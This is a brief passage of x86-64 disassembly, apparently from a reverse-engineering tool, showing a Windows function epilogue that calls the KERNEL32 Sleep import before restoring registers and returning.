mov ecx, dword [rsi + 0x5c]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, edi
mov rbx, qword [rsp + 0x90]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret